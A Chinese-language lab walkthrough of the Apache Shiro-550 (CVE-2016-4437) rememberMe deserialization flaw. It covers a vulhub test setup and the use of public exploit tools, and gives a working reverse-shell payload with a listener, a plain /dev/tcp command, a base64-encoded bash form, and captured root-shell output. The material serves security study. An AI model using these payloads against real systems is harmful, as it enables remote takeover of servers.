admin
apache shiro-550
漏洞详情
shiro反序列化原因是shiro的一个机制为了让浏览器或服务器重启后不丢失用户的登陆状态,会将用户信息保存到 rememberMe字段中 然后发送到服务端,服务端再对它进行base64解密,aes解密,再进行反序列化,由于在 1.2.4 这个版本里 shiro的key是固定的,所以可以通过构造一段恶意类经过aes加密再base64加密然后放到 rememberMe 伪造cookie信息,来让服务端加载,进而触发反序列化漏洞
详细步骤:
1.首先正常登录,然后生成带有rememberme的返回cookie值。
2.生成cookie,shiro会提供rememberme功能,可以通过cookie记录登录用户,从而记录登录用户的身份认证信息,即下次无需登录即可访问。处理rememberme的cookie的类为org.apache.shiro.web.mgt.CookieRememberMeManager
3.之后进入serialize,对登录认证信息进行序列化
4.然后加密,调用aes算法。
5.加密结束,然后在在org/apache/shiro/web/mgt/CookieRememberMeManager.java的rememberSerializedIdentity方法中进行base64编码,并通过response返回
6.解析cookie
7.先解密在反序列化
8.AES是对称加密,加解密密钥都是相同的,并且shiro都是将密钥硬编码
9.调用crypt方法利用密文,key,iv进行解密,解密完成后进入反序列化,看上面的public AbstractRememberMeManager()这里用的是默认反序列化类,然后触发生成反序列化。
环境搭建:
环境准备
- Ubuntu(192.168.2.195) 搭建漏洞环境
- Kali(192.168.2.200) 接收反弹Shell
- Windows(192.168.2.178) 攻击主机
部署一个shiro-1.2.4项目
cd /vulhub-master/shiro/CVE-2016-4437
docker-compose up -d
抓包分析
在请求包中的cookie字段中添加rememberMe=任意内容;
,看响应包中是否返回rememberMe=deleteMe
值,若有,则证明该系统使用了Shiro框架。
或者发出登录请求并勾选remember me,同样会有rememberMe=deleteMe
。
不勾选或者不添加则无rememberme字段。
使用exp工具进行攻击
shiro_attack-4.5.4-SNAPSHOT-all
https://github.com/SummerSec/ShiroAttack2
shiro_attack
https://github.com/j1anFen/shiro_attack
推荐使用shiro_attack-4.5.4-SNAPSHOT-all。
启动工具
java -jar shiro_attack-4.5.4-SNAPSHOT-all.jar
探测是否存在shiro框架
爆破密匙
漏洞利用
命令执行
根据情况检测利用链
执行命令
反弹Shell
监听
在kali上开启nc监听本地9999端口,用来接收反弹的Shell
nc -lvnp 9999
反弹
在线反弹shell命令生成。
https://www.revshells.com/
但是不能直接使用bash反弹shell。
sh -i >& /dev/tcp/192.168.2.200/9999 0>&1
需要将其转换为java类型,建议前往站点转换。
https://www.bugku.net/runtime-exec-payloads/
转换后
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yLjIwMC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}
在工具端执行
kali成功接收到shell。
┌──(root㉿kali-rrr)-[~/Desktop]
└─# nc -lvnp 9999
listening on [any] 9999 ...
connect to [192.168.2.200] from (UNKNOWN) [192.168.2.195] 42060
sh: 0: can't access tty; job control turned off
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
# uname -a
Linux 3de8659a07b6 5.15.0-43-generic #46~20.04.1-Ubuntu SMP Thu Jul 14 15:20:17 UTC 2022 x86_64 GNU/Linux
#
